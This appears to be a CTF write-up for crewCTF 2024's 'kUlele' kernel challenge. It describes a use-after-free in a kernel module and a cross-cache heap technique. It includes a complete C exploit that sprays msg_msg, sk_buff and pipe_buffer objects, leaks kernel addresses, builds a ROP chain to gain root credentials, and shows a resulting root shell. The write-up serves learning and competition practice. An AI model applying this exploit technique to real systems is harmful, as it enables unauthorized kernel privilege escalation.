0x00 Introduction
This is a CTF write-up for the challenges kUlele
in crewCTF 2024.
This is also my first challenge solved during the CTF game.
0x01 challenge
It’s a simple kernel challenge. It’s like the userspace menu heap challenge.
In ioctl
, there are three features, including
add
, allocate a kernel heap object (at most 10 times)del
, free an allocated heap objectshow
, dump the content in the allocated heap objectedit
, write to the allocated heap object
The kernel module is not complex and the vulnerability is easy to find in the del
branch, which frees the object without clearing the pointer. So it’s a typical UAF.
The allocated objects belong to kmalloc-*
(GFP_KERNEL
). And we at most trigger the add
branch 10 times. Also, there is HARDEN_USERCOPY
to avoid out-of-bound access.
For heap UAF exploitation, we usually attack with cross-cache
or the same allocation flag objects. I didn’t know many objects with GFP_KERNEL
so I exploited the challenge with cross-cache
. I’ll present it first in the post and then do an after-CTF write-up with some GFP_KERNEL
objects.
GFP_KERNEL_ACCOUNT -> 0x000000000400cc0
GFP_KERNEL -> 0x000000000000cc0
Btw, this challenge doesn’t enable pti because of the correct run.sh
. It should be pti=on
instead of kpti=1
.
0x02 Limits
Before we start exploitation, there are several limits that need to be listed:
HARDEN_USERCOPY
, if we do cross-cache with a different size object, we can’t use theshow
andedit
branches.- Cross-Cahce requires the control of a whole slab, but
- This is a two-core machine. The more cores the more objects are in one slab.
- We at most allocate 10 times, which is a kind of limit for
cross-cache
on a two-core machine.
In summary, we may need to allocate large objects to make sure we own the whole slab to perform cross-cache
. This may require a page allocator then if we refill with our usual small objects (less than a page), we may not use the show
and edit
in the challenge. cross-cache
may make this challenge harder. However, considering one UAF is enough for exploitation, I ignore the hardness.
0x03 Solutions
In this section, we gonna provide a high-level plan to exploit with the limits talked about in the previous section.
kmalloc-8k 16 16 8192 4 8 : tunables 0 0 0 : slabdata 4 4 0
kmalloc-4k 32 32 4096 8 8 : tunables 0 0 0 : slabdata 4 4 0
kmalloc-2k 160 160 2048 16 8 : tunables 0 0 0 : slabdata 10 10 0
kmalloc-1k 416 416 1024 16 4 : tunables 0 0 0 : slabdata 26 26 0
kmalloc-512 368 368 512 16 2 : tunables 0 0 0 : slabdata 23 23 0
kmalloc-256 576 576 256 16 1 : tunables 0 0 0 : slabdata 36 36 0
kmalloc-192 441 441 192 21 1 : tunables 0 0 0 : slabdata 21 21 0
kmalloc-128 448 448 128 32 1 : tunables 0 0 0 : slabdata 14 14 0
kmalloc-96 2394 2394 96 42 1 : tunables 0 0 0 : slabdata 57 57 0
kmalloc-64 2816 2816 64 64 1 : tunables 0 0 0 : slabdata 44 44 0
kmalloc-32 1874 2560 32 128 1 : tunables 0 0 0 : slabdata 20 20 0
kmalloc-16 1280 1280 16 256 1 : tunables 0 0 0 : slabdata 5 5 0
kmalloc-8 2560 2560 8 512 1 : tunables 0 0 0 : slabdata 5 5 0
On the attack kernel, I dumped the content of /proc/slabinfo
and found that if we use slab allocator, we can only use kmalloc-8k
and kmalloc-4k
if we don’t use other GFP_KERNEL
objects. (I also present a method using GFP_KERNEL
objects and attack with cross-cache
here). But it’s still hard to do cross-cache for different order slabs. However, there is no size limit for the kmalloc
, which means we are allowed to trigger the page allocation if we pass a number more than 0x8(not tested, 0x8 worked for this challenge) pages. As we know, the page-allocated pages can be retrieved by slub allocator!
for(int i = 0 ; i < 0x8; i++)
add(0x8000);
for(int i = 0 ; i < 0x8; i++)
del(i);
for( int i = 0 ; i < 0x100 ;i ++)
{
memcpy(trash,p64(0xdead000+i),8);
msgSend(mids[i],0x7d0,trash);
}
So we have cross-cache
UAF!
0x04 Post cross-cache
UAF
Post cross-cache
UAF techniques are very ordinary.
- UAF then Refill with
msg_msg
- UAF then Refill with
sk_buffer
(Fake amsg_msg
header) - Use
sk_buffer
to leak kernel heap address (so we know the address of sprayed payload) (sk_buffer
is freed at this step) - Refill with
sk_buffer
- UAF then Refill with
pipe_buffer
- Use
sk_buffer
to leakpipe_buffer
content (sk_buffer
is freed at this step) - Refill with
sk_buffer
again to overwritepipe_buffer->ops
to conrtol RIP RetSpill
to ROP- Return to user space as root
0x05 Exploit
//https://github.com/n132/libx/blob/main/README.md
//gcc main.c -o ./main -lx -w
#include "libx.h"
#if defined(LIBX)
size_t user_cs, user_ss, user_rflags, user_sp;
void saveStatus()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
printf("\033[34m\033[1m[*] Status has been saved.\033[0m\n");
}
size_t back2root = shell;
void back2userImp(){
__asm__("mov rax, user_ss;"
"push rax;"
"mov rax, user_sp;"
"push rax;"
"mov rax, user_rflags;"
"push rax;"
"mov rax, user_cs;"
"push rax;"
"mov rax, back2root;"
"push rax;"
"swapgs;"
"push 0;"
"popfq;"
"iretq;"
);
}
int sk_skt[0x8][2];
int pipe_fd[PIPE_NUM][2];
void libxInit(){
back2user = back2userImp;
hook_segfault();
saveStatus();
initSocketArray(sk_skt);
initPipeBufferN(pipe_fd,0x100);
}
enum spray_cmd {
ADD,
FREE,
EXIT,
};
#endif //
int fd = 0;
typedef struct payload{
size_t size;
size_t idx;
size_t buf;
} payload;
void add(size_t size){
size_t cmd = 0x1001;
ioctl(fd,cmd,size);
}
void del(size_t idx){
ioctl(fd,0x1004,idx);
}
char* show(size_t idx,size_t size){
payload pay;
pay.idx = idx;
pay.buf = calloc(1,size);
pay.size = size;
ioctl(fd,0x1002,&pay);
return pay.buf;
}
void dump(size_t idx,size_t size, char * buf){
payload pay;
pay.idx = idx;
pay.buf = buf;
pay.size = size;
ioctl(fd,0x1002,&pay);
}
void edit(size_t idx, size_t size, size_t buf){
payload pay;
pay.idx = idx;
pay.buf = buf;
pay.size = size;
ioctl(fd,0x1003,&pay);
}
int msgSprayPC(msgSpray_t *spray)
{
while(spray) {
for(int i=0; i<spray->num; i++)
{
msgMsg * recv = msgPeek(spray->msg_id,spray->size);
hexdump(recv->mtext,0x40);
}
// msgDel(spray->msg_id);
spray = spray->next;
}
}
int key_revoke(int keyid)
{
return syscall(__NR_keyctl, KEYCTL_REVOKE, keyid, 0, 0, 0);
}
void rand_str(char *dest, size_t length)
{
int urand_fd = open("/dev/urand",0);
char charset[] = "0123456789"
"abcdefghijklmnopqrstuvwxyz"
"ABCDEFGHIJKLMNOPQRSTUVWXYZ";
read(urand_fd, dest, length);
for(int i=0; i<length; i++) {
int idx = ((int)dest[i]) % (sizeof(charset)/sizeof(char) - 1);
dest[i] = charset[idx];
}
dest[length] = '\0';
close(urand_fd);
}
size_t var_poprbp;
size_t var_leave;
size_t var_rbp;
void tainRegs(u64 base,u64 heap){
var_poprbp = 0xffffffff8216c820 - NO_ASLR_BASE + base;
var_leave = 0xffffffff8159c1a3 - NO_ASLR_BASE + base;
var_rbp = heap+0x518;
__asm__("mov rax, 0x9999999999999999;"
"mov rbx, 0x9999999999999991;"
"mov rcx, 0x9999999999999992;"
"mov rdx, 0x9999999999999993;"
"mov rdi, 0x9999999999999994;"
"mov rsi, 0x9999999999999995;"
"mov r8, 0x9999999999999996;"
"mov r9, 0x9999999999999997;"
"mov r10, 0x9999999999999998;"
"mov r11, 0x9999999999999999;"
"mov r12, 0x999999999999999a;"
"mov r13, 0x999999999999999b;"
"mov r14, 0x999999999999999c;"
"mov r15, 0x999999999999999d;"
"leave;"
"ret;");
}
int main(){
// system("/bin/sh");
int mids[0x100] = {};
for( int i = 0 ; i < 0x100 ; i ++)
mids[i] = msgGet();
// shell();
char * trash = dp('a',0x8000);
libxInit();
fd = open("/dev/note",2);
msgSpray(0xfd0,0x100,trash);
msgSpray(0xd0,0x100,trash);
void * payload = p64(0xdeadbeefdeadbeef);
for(int i = 0 ; i < 0x8; i++)
add(0x8000);
for(int i = 0 ; i < 0x8; i++)
del(i);
for( int i = 0 ; i < 0x100 ;i ++)
{
memcpy(trash,p64(0xdead000+i),8);
msgSend(mids[i],0x7d0,trash);
}
del(0);
memset(trash,'b',0xfd0);
msgSpray(0x7d0,0x40,trash);
int found = -1;
for(int i = 0 ; i < 0x40 ; i ++)
{
msgMsg * recv = msgPeek(mids[i], 0x7d0);
size_t *tmp = recv->mtext;
if(*tmp == 0x6262626262626262)
{
found = i;break;
}
}
if(found==-1)
panic("No Luck");
else
success("Got It");
// Leak cur Heap Page
del(0);
size_t head[] = {0,0x800,0x2000,0,0};
char *buffer = calloc(0x7d0-8+0xfd0,1);
memcpy(buffer+0xfd0,&head,sizeof(head));
// // msgRecv(mids[found],0x1);
for( int i = 0x80 ; i < 0xa0 ; i ++)
msgSend(mids[i],0xfd0+0x7d0-8,buffer);
msgMsg * recv = msgPeek(mids[found],0x2000);
// hexdump(recv->mtext,0x2000);
size_t cur = *(size_t *)(&recv->mtext[0x7d0]);
size_t msg_id = mids[*(size_t *)(&recv->mtext[0x800]) - 0xdead000];
if(msg_id>0x100)
panic("No Luck");
// warn(hex(msg_id));
head[3] = cur-8;
memcpy(buffer+0xfd0,&head,sizeof(head));
del(0);
for( int i = 0xa0 ; i < 0xc0 ; i ++)
msgSend(mids[i],0xfd0+0x7d0-8,buffer);
recv = msgPeek(mids[found],0x2000);
// hexdump(recv->mtext,0x2000);
cur = *(size_t *)(recv->mtext+0xfd0)-0x800;
warn(hex(cur));
// Leak ktext
msgRecv(msg_id,1);
for(int i = 0 ; i < 0x20; i++){
pipeBufferResize(pipe_fd[i][0],32);
pipeBufferResize(pipe_fd[i][1],32);
}
head[3] = 0;
memcpy(buffer+0xfd0,&head,sizeof(head));
del(0);
for( int i = 0xc0 ; i < 0xe0 ; i ++)
msgSend(mids[i],0xfd0+0x7d0-8,buffer);
recv = msgPeek(mids[found],0x2000);
size_t page = *(size_t *)(&recv->mtext[0x7d0]);
info(hex(page));
size_t *ptr = &recv->mtext[0x7e0];
head[3] = *ptr;
del(0);
memcpy(buffer+0xfd0,&head,sizeof(head));
for( int i = 0xe0 ; i < 0x100 ; i ++)
msgSend(mids[i],0xfd0+0x7d0-8,buffer);
recv = msgPeek(mids[found],0x2000);
del(0);
for(int i = 0x20 ; i < 0x40; i++){
pipeBufferResize(pipe_fd[i][0],32);
pipeBufferResize(pipe_fd[i][1],32);
}
ptr = recv->mtext+0xfd0;
size_t base = *ptr-0x4db8c0;
warn(hex(base));
debug();
del(0);
size_t ppp[] = {0xffffffff810b52c3- NO_ASLR_BASE + base,0,cur+0x500,0,0};
size_t rdi = 0xffffffff82012efd- NO_ASLR_BASE + base;
size_t init_cred = 0xffffffff82c875a0- NO_ASLR_BASE + base;
size_t mc = 0xffffffff81137500- NO_ASLR_BASE + base;
size_t ret2user = 0xffffffff822012dc- NO_ASLR_BASE + base;
size_t iretq = 0xffffffff8220184e - NO_ASLR_BASE + base;
size_t rop_chain[0x20] ;
size_t idx = 0 ;
rop_chain[idx++] = rdi ;
rop_chain[idx++] = init_cred;
rop_chain[idx++] = mc;
rop_chain[idx++] = ret2user;
rop_chain[idx++] = 0 ;
rop_chain[idx++] = iretq ;
rop_chain[idx++] = shell;
rop_chain[idx++] = user_cs;
rop_chain[idx++] = user_rflags;
rop_chain[idx++] = user_sp;
rop_chain[idx++] = user_ss;
size_t retX = 0xffffffff81321fbd - NO_ASLR_BASE + base;
size_t fake_op[] = {retX,retX,retX,retX};
memcpy(buffer,ppp,sizeof(ppp));
memset(buffer+sizeof(ppp),1,0x500-sizeof(ppp));
memcpy(buffer+0x500,fake_op,sizeof(fake_op));
memcpy(buffer+0xc6,rop_chain,sizeof(rop_chain));
for(int i = 0 ; i< 0x4 ; i++)
for(int j = 0 ; j < 0x20 ; j++)
skbuffSend(sk_skt[i][0],buffer,0x800-320);
for(int i = 0x20 ; i < 0x40; i++){
tainRegs(base,cur);
close(pipe_fd[i][0]);
close(pipe_fd[i][1]);
}
debug();
}
ctf@linz:~$ /exp
[*] Status has been saved.
[+] Finish: initSocketArray
[+] Got It
[!] 0xffffa0f942698000
[+] 0xffffea98c0090bc0
[!] 0xffffffff94400000
[!] DEBUG
[+] Libx: SegFault Handler is spwaning a shell...
root@linz:/home/ctf$ id
uid=0(root) gid=0(root)
root@linz:/home/ctf$
0x06 Summary
- Practiced the UAF
- Noticed that page allocator could be used to enable different order cross cache.